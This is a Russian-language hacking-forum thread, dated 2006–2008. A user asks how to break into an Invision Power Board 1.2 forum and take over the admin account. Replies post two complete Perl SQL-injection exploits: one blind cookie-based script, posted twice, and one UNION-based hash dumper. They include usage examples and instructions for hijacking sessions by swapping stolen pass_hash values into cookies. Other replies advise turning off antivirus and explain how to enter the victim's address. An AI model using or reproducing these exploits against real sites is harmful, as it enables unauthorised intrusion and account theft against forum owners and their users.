Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Взлом Ipb 1.2 - угон хэш пароля (https://forum.antichat.xyz/showthread.php?t=21235)

Vilen 02.07.2006 13:03

Взлом Ipb 1.2 - угон хэш пароля
 
Привет всем вопрос :
Как взломать Ipb 1.2 - угнать хэш пароль
Мне именно главное там попасть в админку и всё

Какие есть предположения ?

zerg 02.07.2006 17:53

воспользуйся эксплоитом
Цитата:

#!/usr/bin/perl



## Invision Power Board SQL injection exploit by RST/GHC

## vulnerable forum versions : 1.* , 2.* (<2.0.4)

## tested on version 1.3 Final and version 2.0.2

## * work on all mysql versions

## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)

## (c)oded by 1dt.w0lf

## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

## screen:

## ~~~~~~~

## r57ipb2.pl blah.com /ipb13/ 1 0

## [~] SERVER : blah.com

## [~] PATH : /ipb13/

## [~] MEMBER ID : 1

## [~] TARGET : 0 - IPB 1.*

## [~] SEARCHING PASSWORD ... [ DONE ]

##

## MEMBER ID : 1

## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99

##

## r57ipb2.pl blah.com /ipb202/ 1 1

## [~] SERVER : blah.com

## [~] PATH : /ipb202/

## [~] MEMBER ID : 1

## [~] TARGET : 1 - IPB 2.*

## [~] SEARCHING PASSWORD ... [ DONE ]

##

## MEMBER ID : 1

## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d

## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

## Greets: James Bercegay of the GulfTech Security Research Team

## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru

## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~



use IO::Socket;



if (@ARGV < 4) { &usage; }



$server = $ARGV[0];

$path = $ARGV[1];

$member_id = $ARGV[2];

$target = $ARGV[3];



$pass = ($target)?('member_login_key'):('password');



$server =~ s!(http:\/\/)!!;



$request = 'http://';

$request .= $server;

$request .= $path;



$s_num = 1;

$|++;

$n = 0;



print "[~] SERVER : $server\r\n";

print "[~] PATH : $path\r\n";

print "[~] MEMBER ID : $member_id\r\n";

print "[~] TARGET : $target";

print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));

print "\r\n";

print "[~] SEARCHING PASSWORD ... [|]";



($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;



while(1)

{

if(&found(47,58)==0) { &found(96,122); }

$char = $i;

if ($char=="0")

{

if(length($allchar) > 0){

print qq{\b\b DONE ]



MEMBER ID : $member_id

};

print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));

print $allchar."\r\n";

}

else

{

print "\b\b FAILED ]";

}

exit();

}

else

{

$allchar .= chr($i);

}

$s_num++;

}



sub found($$)

{

my $fmin = $_[0];

my $fmax = $_[1];

if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }



$r = int($fmax - ($fmax-$fmin)/2);

$check = " BETWEEN $r AND $fmax";

if ( &check($check) ) { &found($r,$fmax); }

else { &found($fmin,$r); }

}



sub crack($$)

{

my $cmin = $_[0];

my $cmax = $_[1];

$i = $cmin;

while ($i<$cmax)

{

$crcheck = "=$i";

if ( &check($crcheck) ) { return $i; }

$i++;

}

$i = 0;

return $i;

}



sub check($)

{

$n++;

status();

$ccheck = $_[0];

$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";

$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74% 72%69%6E%67%28";

$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";

$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1% 21%20";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");



printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",

$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3,$nmalykh);



while(<$socket>)

{

if (/Set-Cookie: session_id=0;/) { return 1; }

}



return 0;

}



sub status()

{

$status = $n % 5;

if($status==0){ print "\b\b/]"; }

if($status==1){ print "\b\b-]"; }

if($status==2){ print "\b\b\\]"; }

if($status==3){ print "\b\b|]"; }

}



sub usage()

{

print q(

Invision Power Board v < 2.0.4 SQL injection exploit

----------------------------------------------------

USAGE:

~~~~~~

r57ipb2.pl [server] [/folder/] [member_id] [target]



[server] - host where IPB installed

[/folder/] - folder where IPB installed

[member_id] - user id for brute



targets:

0 - IPB 1.*

1 - IPB 2.* (Prior To 2.0.4)



e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1

----------------------------------------------------

(c)oded by 1dt.w0lf

RST/GHC , http://rst.void.ru , http://ghc.ru

);

exit();

}


на античате видио такое есть

Vilen 02.07.2006 18:22

Скрипт на 1.3 работает, но не на 1.2

На 1.2 пишет Failed

Хелп

+toxa+ 02.07.2006 18:39

для начала
Цитата:

## vulnerable forum versions : 1.* , 2.* (<2.0.4)

## tested on version 1.3 Final and version 2.0.2
т.е. 1.2 уязвим... а Failed пишет потому что форум патченый

zerg 02.07.2006 19:30

попробуй xss

Vilen 02.07.2006 20:31

Цитата:

Сообщение от zerg
попробуй xss

чуть поподробнее или ссылку плиз

zerg 02.07.2006 22:03

читай здесь

http://forum.antichat.ru/thread15678.html

or1 29.11.2008 16:10

Цитата:

Сообщение от zerg
читай здесь

http://forum.antichat.ru/thread15678.html



вот этот пробовал запустить антивирь заругался ,типо говорит троянская прога linuks не пропускает что делать



#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com /ipb202/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb202/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http://)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{bb DONE ]

MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($i);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74% 7 2%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%26%231054%3B%26%231081%3B+%26%231088%3B%26%23107 2 %3B%26%231073%3B%26%231086%3B%26%231090%3B%26%2310 72%3B%26%231077%3B%26%231090%3B%21";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3,$nmalykh);

while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}

return 0;
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}

sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]

[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id] - user id for brute

targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)

e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}

HellXi 30.11.2008 13:43

А что ты хотел чтобы он написал ?! конечно он будет орать .... так что выключить антивирь.

or1 30.11.2008 15:52

Цитата:

Сообщение от HellXi
А что ты хотел чтобы он написал ?! конечно он будет орать .... так что выключить антивирь.




вот еще вопрос а он с моим компом не чего не cделает,и если нет тогда что без антивира запускать его в инет ,так можно кучу нахвотать вирей,а.....

так выходит на свой риск и страх . :o

max_pain89 30.11.2008 16:06

объясни слово "выпускать"? Он же не животное, а скрипт. Полностью безопасный для компьютера исполняющего сценарий.

or1 30.11.2008 16:41

Цитата:

Сообщение от max_pain89
объясни слово "выпускать"? Он же не животное, а скрипт. Полностью безопасный для компьютера исполняющего сценарий.

спасибо!



что в этих строках нужно прописывать.я их выделил красным

объясните кто может тут и другие после будут читать..

еще ,тут нужно за место 127.0.0.1 прописать адрес кого ломать ,или так остаётся все

Код:

#!/usr/bin/perl
use IO::Socket;

# # # #
# # # #
# # # #
# ## #### ## #
## ## ###### ## ##
## ## ###### ## ##
## ## #### ## ##
### ############ ###
########################
##############
######## ########## #######
### ## ########## ## ###
### ## ########## ## ###
### # ########## # ###
### ## ######## ## ###
## # ###### # ##
## # #### # ##
## ##

## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
## by RusH security team (www.rst.void.ru)
## coded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example:
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 38e2a2752535f5b9a2636b1e22e7bee6
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 38e2a2752535f5b9a2636b1e22e7bee6
## [>] PREFIX:
## [>] ID:15956
## ------------------------------------------------------------------------------------------------
##
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
##
## PREFIX: ibf_
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 38e2a2752535f5b9a2636b1e22e7bee6 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER:127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 38e2a2752535f5b9a2636b1e22e7bee6
## [>] PREFIX: ibf_
## [>] ID:15956
## ------------------------------------------------------------------------------------------------
##
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
##
## --[ REPORT ]------------------------------------------------------------------------------------
## MEMBER_ID: [1] NAME: [admin] PASS_HASH: [73dea61281aa9b08ed31b4ae2bb9954e]
## ------------------------------------------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Пару слов о возвращаемом эксплоитом результате:
## Значение pass_hash это не зашифрованный пароль юзера!!! а одноименное значение из кукиса с
## помощью которого можно войти на форум под любым юзером без ввода пароля.
## member_id это также одноименное значение из кукиса.
## Поэтому не стоит пытаться расшифровать pass_hash =) Просто зарегистрируйтесь на форуме и измените
## pass_hash и member_id в вашем cookie на одно из значений которые выдаст сплоит.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


if (@ARGV < 5)
{
print "-------------------------------------------------------------------------\r\n";
print " Invision Power Board v2.0.0 - 2.0.2 sql injection exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "usage:\r\n";
print "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]\r\n\r\n";
print "SERVER - server where IPB installed\r\n";
print "/DIR/ - IPB directory or / for no directory\r\n";
print "FORUM_NUM - number of existing forum\r\n";
print "TOPIC_NUM - number of existing topic\r\n";
print "SID - your session id\r\n";
print "[TABLE_PREFIX] - table prefix in database\r\n";
print "[USER_ID] - user id for exploiting\r\n\r\n";
print "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 38e2a2752535f5b9a2636b1e22e7bee6 ibf_\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

if (@ARGV < 6) { $get_table = 1; }

$server = $ARGV[0];
$dir = $ARGV[1];
$fnum = $ARGV[2];
$tnum = $ARGV[3];
$sid = $ARGV[4];
$prefix = $ARGV[5];
$id = $ARGV[6];

print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>] DIR: $dir\r\n";
print "[>] FORUM: $fnum\r\n";
print "[>] TOPIC: $tnum\r\n";
print "[>] SID: $sid\r\n";
print "[>] PREFIX: $prefix\r\n";
print "[>] ID: $id\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";

$server =~ s/(http:\/\/)//eg;

$path = $dir;
$path .= "index.php?s=";
$path .= $sid;
$path .= "&act=Post&CODE=02&f=";
$path .= $fnum;
$path .= "&t=";
$path .= $tnum;
if ($get_table == 1)
{
$path .= "&qpid=r57"
}
else
{
$path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),member_login_key),1,1,1,1,1,1,1,1,1%20from%20";
$path .= $prefix;
$path .= "members";
$path .= ($id)?("%20WHERE%20id=$id%20"):("%20");
$path .= "/*";
}
print "[~] PREPARE TO CONNECT...\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";

print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";

$suc =0;

if ($get_table == 1)
{
while ($answer = <$socket>)
{
if ($answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print "PREFIX: $4\r\n"; $suc = 1; }
}
if (!$suc) { print "Exploit failed\r\n"; }
exit();
}

print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{
if ($answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/) { print "MEMBER_ID: [$1] NAME: [$2] PASS_HASH: [$3]\r\n"; $suc = 1; }
}
print "------------------------------------------------------------------------------------------------\r\n";
if ($suc == 1) { print "Now you need edit cookie and insert new pass_hash and member_id values.\r\n"; exit(); }
else { print "Exploit failed\r\n";


ZAMUT 01.12.2008 00:45

1 - Тема не для вопросов, существует отдельная.
2 - Топик "немного" устарел, не находите ?
3 -
Код:

if (@ARGV < 6) { $get_table = 1; }

$server = $ARGV[0];
$dir = $ARGV[1];
$fnum = $ARGV[2];
$tnum = $ARGV[3];
$sid = $ARGV[4];
$prefix = $ARGV[5];
$id = $ARGV[6];

print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>] DIR: $dir\r\n";
print "[>] FORUM: $fnum\r\n";
print "[>] TOPIC: $tnum\r\n";
print "[>] SID: $sid\r\n";
print "[>] PREFIX: $prefix\r\n";
print "[>] ID: $id\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";

запуск предполагает:
Код:

xek.pl site.com / 1 1 38e2a2752535f5b9a2636b1e22e7bee6 ibf_ 1
Если сделал все как того оно предполагает, и результата не принесло - пропатчено, или перфикс не дефолтный
4 - Закрыто.


Время: 03:08